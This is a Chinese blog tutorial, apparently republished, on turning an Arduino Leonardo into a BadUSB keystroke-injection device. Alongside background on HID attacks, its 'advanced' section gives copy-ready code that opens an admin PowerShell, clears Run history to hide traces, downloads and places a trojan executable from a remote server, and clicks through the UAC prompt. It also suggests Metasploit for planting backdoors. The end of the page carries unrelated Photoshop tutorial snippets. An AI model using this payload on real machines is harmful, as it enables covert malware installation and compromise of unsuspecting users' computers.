利用Arduino快速制作Teensy BadUSB

000 介绍

本文想以较简单的方式,叙述Arduino版BadUSB的制作过程。我知道在这之前已经有很多前辈都写过相关的文章,但小白可能还有点迷糊,所以这篇文章是快速带大家入门了解,我也是菜B大神不要喷,谢谢~。

“BadUSB”是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在2014年的BlackHat安全大会上公布。 虽然已隔一两年,但还是有人在研究它,它的攻击方式也多种多样。

第一部分相关BadUSB介绍转载于:https://security.tencent.com/index.php/blog/msg/74

BadUSB原理

在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是”USB RUBBERDUCKY”和”Teensy”。

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战》

  USB RUBBER DUCKY介绍

简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

U盘的内部构造

U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。

001 制作过程

好的废话咱们不多说了,直接开始吧~我们就是利用Arduino制作TEENSY 。Arduino是让一种叫做单片机的小型可编程电脑尽可能简单地被使用,并且单片机可以让物体获得交互功能。

来看一下我们需要准备的材料吧

Arduino Leonardo //小型单片机模拟USB

Arduino IDE //用于烧录代码的编译器 http://www.arduino.cn/thread-5838-1-1.html

安卓数据线 //用于连接电脑USB

PC一台 //ok我们可以开工了

扩展:追求完美的同学可以考虑 ——超短micro转USB

Arduino Leonardo 单片机我们可以去各大电商平台上去淘,特别是什么货都有的电商平台,相信你绝对能找到的。

我本来已经买好micro转USB了 结果当我拿起他们两个准备啪啪啪的时候~~~~

当场蒙逼,告诉我为什么插不进去~~~~ 算了当作纪念吧 ,所以我先当个炮灰,希望其他小伙伴不要和我一样~~

感兴趣的可以考虑一下这个玩意 名字叫做OTG转接头 我已经再一次交出了我的身体 发现是真的。。。。 可以有!

好~大家先把arduino IDE先装好 安装过程很简单 就是下一步下一步,没什么难度。

安装好以后打开IDE。

  打开我们的IDE

IDE改版后,启动界面也变了,以前的版本不是这样的。打开以后是这样子的:

那好我们就开始编写代码,不过在这之前我们要先把Arduino Leonardo插上。然后我们先保存一下这个项目文件,建议大家直接保存在桌面。

  然后会在桌面上多出一个demo文件夹

  文件夹内就是我们的demo文件。好~我们开始编写代码:

void setup() {

// put your setup code here, to run once:

}

这段代码就是初始化我们的程序。

void loop() {

// put your main code here, to run repeatedly:

}

这段代码是我们要循环的地方。

以上只是程序给我们搭好的框架,实际代码要我们自己去编写。我们让USB对电脑进行操作主要是想实现自动化键盘操作,所以我们这边就要用到arduino的键盘函数

#include //包含键盘模块的头文件.h>

Keyboard.begin(); //开启键盘通信

Keyboard.press(); //按下某个键

Keyboard.release(); //释放某个键

Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/

Keyboard.end(); //结束键盘通信

OK,以上就是我们主要使用到的函数。

那好现在我写一些简单代码,然后大家可以感性地知道 代码的含义:

#include //包含键盘模块头文件.h>

void setup(); //初始化

Keyboard.begin();//开始键盘通信

delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样

Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题

Keyboard.release(KEY_CAPS_LOCK); //释放大写键

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键

delay(500);

Keyboard.press('r');//按下r键

delay(500);

Keyboard.release(KEY_LEFT_GUI);//松掉win键

Keyboard.release('r');//松掉r键

delay(500);

Keyboard.println("cmd");//输入cmd进入DOS

delay(500);

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500);

Keyboard.println("echo first test");

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大写键

Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键

delay(500);

Keyboard.end();//结束键盘通讯

}

void loop()//循环,这里的代码

{

//循环体 写入你要循环的代码

}

那好现在我们把代码写到IDE里面去。

然后我们要选择正确的开发板和COM口,每台电脑都不一样的。

  一切准备就绪我们点击编译,看看程序是否能正常执行。

  提示这些说明我们编译成功。

  那么我们离成功就是最后一步了——上传。

  提示

上传成功后,电脑会自动断开USB,然后又会重新连接,那么 Arduino Leonardo就会自动运行了。我们来看看:

首先开启大写键 然后打开了运行窗口 然后输入了CMD 接着要回车了

  然后程序自己输入 echo first test 并且执行回车~~!! 大功告成~!

  以上就是利用Arduino Leonardo实现自动化的ehco操作,模拟一个BadUSB。

002 进阶

那么我分享一下我的代码——主要实现的功能就是从远程服务器上下载我们木马然后执行,并且不会产生记录,和网上的同学实现的目的是一样的,但代码可能有所偏差。好那么看代码,因为篇幅原因,我就直接贴出,主要实现代码块。

有需要的同学自行黏贴

Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*开启管理员级别的powershell*/

Keyboard.println("reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f"); /*清除运行窗口产生的记录*/

Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口

Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象

Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\SUPER.EXE')"); /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*/

//自己想了一个比较笨的方法绕过UAC 就是询问管理员是否同意的那个框框

Keyboard.press(KEY_LEFT_ARROW); //按住左方向键

Keyboard.release(KEY_LEFT_ARROW); //释放左方向键

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN);//释放enter键

注意~

1.这里我们为什么要开管理员的powershell 是因为从服务端下载文件的时候 首先CMD不支持,其次就算我们在cmd里调用powershell 那也不是管理员身份下载会出错。所以我们这里要开管理员的powershell 其实下载文件的操作code还有很多种 我这里是一种 如果大家有更好的下载方式可以和我说 谢谢 命令千奇百怪大家自己发挥

2.另外要注意的地方是在IDE编程的时候,指定目录是要用\ 双斜杠。

3.这些命令字母的大小写是这样的,因为我们在程序开头执行了开启大写键的这个操作 ,所以我们想还原真实的字母就要在IDE里面把小写的改成大写,大写的改成小写 这样程序输出的时候就是我们想要的结果

4.还有就是delay(); 延这个东西自己把握,不是说值都是唯一的。我这里可能相对来说比较慢

最后附上键值对照表

Key Hexadecimal value Decimal value

KEY_LEFT_CTRL 0x80 128

KEY_LEFT_SHIFT 0x81 129

KEY_LEFT_ALT 0x82 130

KEY_LEFT_GUI 0x83 131

KEY_RIGHT_CTRL 0x84 132

KEY_RIGHT_SHIFT 0x85 133

KEY_RIGHT_ALT 0x86 134

KEY_RIGHT_GUI 0x87 135

KEY_UP_ARROW 0xDA 218

KEY_DOWN_ARROW 0xD9 217

KEY_LEFT_ARROW 0xD8 216

KEY_RIGHT_ARROW 0xD7 215

KEY_BACKSPACE 0xB2 178

KEY_TAB 0xB3 179

KEY_RETURN 0xB0 176

KEY_ESC 0xB1 177

KEY_INSERT 0xD1 209

KEY_DELETE 0xD4 212

KEY_PAGE_UP 0xD3 211

KEY_PAGE_DOWN 0xD6 214

KEY_HOME 0xD2 210

KEY_END 0xD5 213

KEY_CAPS_LOCK 0xC1 193

KEY_F1 0xC2 194

KEY_F2 0xC3 195

KEY_F3 0xC4 196

KEY_F4 0xC5 197

KEY_F5 0xC6 198

KEY_F6 0xC7 199

KEY_F7 0xC8 200

KEY_F8 0xC9 201

KEY_F9 0xCA 202

KEY_F10 0xCB 203

KEY_F11 0xCC 204

KEY_F12 0xCD 205

当然我这边的代码还比较简单没有什么控制语句和其他函数,有兴趣的同学可以看看这方便的编程知识,让这个BadUSB更加智能,会判断。

大家也可以结合Metasploit 进行后门、木马的植入,或者一些批处理文件,把自己电脑搞得乱七八糟,哈哈…

本文可能存在攻击性,请勿用于非法用途。个人研究完全没问题,一切责任与本人无关,如有不足的地方希望指点,谢谢。

.h>.h>

本文转自d1net(转载)

时间: 2024-09-17 03:45:45

利用Arduino快速制作Teensy BadUSB的相关文章

PS利用素材快速制作颓废的文字人像海报

  PS利用素材快速制作颓废的文字人像海报           本教程的文字人像制作方法比较简单,文字部分不需要制作,直接用文字素材.处理的时候只需要把人物图片去色,然后用滤镜及图层叠加等把人物轮廓部分做出来,再用素材叠加上去即可. 原图 最终效果 1.打开图片,去色,复制一张. 2.背景副本--虑镜-画笔描边-深色线条 我这边是(7/1/1). 复制背景层--背景副本2-拖上最上面-虑镜-风格化-照亮边缘--(1/20/2),模式"叠加",得到下图效果图. 脸部看起来有点恐怖,可以用

利用素材快速制作颓废的文字人像海报

利用素材快速制作颓废的文字人像海报 教程的文字人像制作方法比较简单,文字部分不需要制作,直接用文字素材.处理的时候只需要把人物图片去色,然后用滤镜及图层叠加等把人物轮廓部分做出来,再用素材叠加上去即可. 原图     最终效果   1.打开图片,去色,复制一张.     2.背景副本--虑镜-画笔描边-深色线条 我这边是(7/1/1). 复制背景层--背景副本2-拖上最上面-虑镜-风格化-照亮边缘--(1/20/2),模式"叠加",得到下图效果图. 脸部看起来有点恐怖,可以用橡皮擦(6

利用Photoshop快速制作逼真的木纹效果

  利用Photoshop快速制作逼真的木纹效果,前期可以用风或动感模糊等滤镜做出条纹纹理,然后用扭曲等滤镜做出不规则纹理.后期调整颜色,修饰细节即可 1.新建文件后, 新建图层. 2.前景色设置. 3.在新建图层拉一条柜形框再填充前景色. 4.滤镜 - 风格化 - 风, 再CTRL+F重复几次. 5.CTRL+T变形拉宽. 6.再CTRL+SHIFT+ALT+E盖印可见图层. 7.再调一下色阶 , 对比度可以调得明显一点.按个人喜好去调. 8.拉一个柜形框 -滤镜 - 扭曲 - 旋转扭曲. 9

photoshop利用脚本快速制作人像万花筒效果教程

给各位photoshop软件的使用者们来详细的解析分享一下利用脚本快速制作人像万花筒效果的教程. 教程分享: 一.创建人像图案 1.不同的设计内容会有相应的脚本填充方案,对于这次特效设计,我们选择一个漂亮摇滚女孩作为主要设计素材,这样出来的效果会更加符合音乐MV的风格.   2.选择快速选择工具,然后沿着人像的轮廓描画,创建选区.如果不小心选择了背景,按着Alt点击就能取消选择区域.   3.选定人像轮廓后,点击调整边缘调出对话框.设置半径2像素,勾选智能半径选项.然后利用调整半径工具,沿着人像

利用彩影快速制作秋日温馨全家福

在金秋时节,一家大小会经常出去秋游或野餐,感受一下这个收获的季节和惬意的秋风,于是少不了拍照留念,分享于亲朋好友间.而拍出来的数码照片怎样才能达到最佳效果呢?这就需要我们后期进行必要的美化工序了.今天笔者向大家推荐一款国内功能强大,高品质的优秀图像处理软件---彩影2010,利用它我们就可以快速打造秋日温馨的全家福了! 以下是原图(如图1): 图1.幸福的一家人 1.首先启动彩影,打开我们的原图.(如图2) 图2.启动彩影打开图片 2.经过观察后,发现图片中的"秋意"不是很浓,场景也不

利用滤镜快速制作梦幻的立体球体

教程介绍简单的立体球体的制作方法.大致过程:先选好背景图片,然后用椭圆选框工具拉出合适的正圆选区,用扭曲中的球面化及旋转扭曲滤镜做出球体的立体感.后期再调整一下光感和颜色即可.   最终效果     1.打开下图所示的星光背景素材(可以选择自己喜欢的背景素材),按Ctrl + J 把背景图层复制一层,如下图.     2.选择椭圆选框工具,在画布的中心位置,按住Shift 键拉出下图所示的正圆选区,如下图.     3.保持选区,执行:滤镜 > 扭曲 > 球面化,把数值调整为最大,参数及效果如

利用滤镜快速制作逼真的水波

教程介绍水波纹理的制作方法,前期需要用多种滤镜制作出黑白水纹效果,然后调色即可.运用滤镜的时候参数设置比较重要,具体需要根据实际图片大小来设置. 最终效果  1.新建一个640 * 480像素的文档,背景填充黑色. 2.执行:滤镜 > 渲染 > 镜头光晕,适当设置好参数,大致效果如下图. 3.执行:滤镜 > 扭曲 > 水波,适当把数值设置大一点,效果如下图.分类: PS滤镜教程

利用flash快速制作mp3音乐播放器

    制作说明:     一.准备工作         1.选择背景         背景可以是图片(JPG格式),使用的是可公开链接的图片网址.如果使用新浪相册的图片网址请务必阅读(四).         背景还可以是FLASH动画(SWF格式),使用的是SWF网址.            下面介绍几个可取得SWF网址的网页            花草素材120款     FLASH素材-四千余款     FLASH素材-英雄素材三千款            FLASH素材-透明边框300 

利用Photoshop快速制作简单的彩色文字人像教程

本教程介绍相对较为简单的文字人像效果的制作方法.大致过程:先用文字工具输入文字,文字需要排满整个画布,局部的文字可以自行设置大小.然后把文字稍微变换一下角度,并调出文字选区,再把这些选区应用到需要的图像上即可. 原图   最终效果     1.新建文档1000x1000像素,背景黑色.   .输入白色文字,你可以去网上复制一些.   3.设置如下.     4.Ctrl+T旋转一定角度.     5.打开美女图片,你可以百度一个,尺寸大些.   6.调出文字选区,添加蒙版,然后隐藏文字层,效果如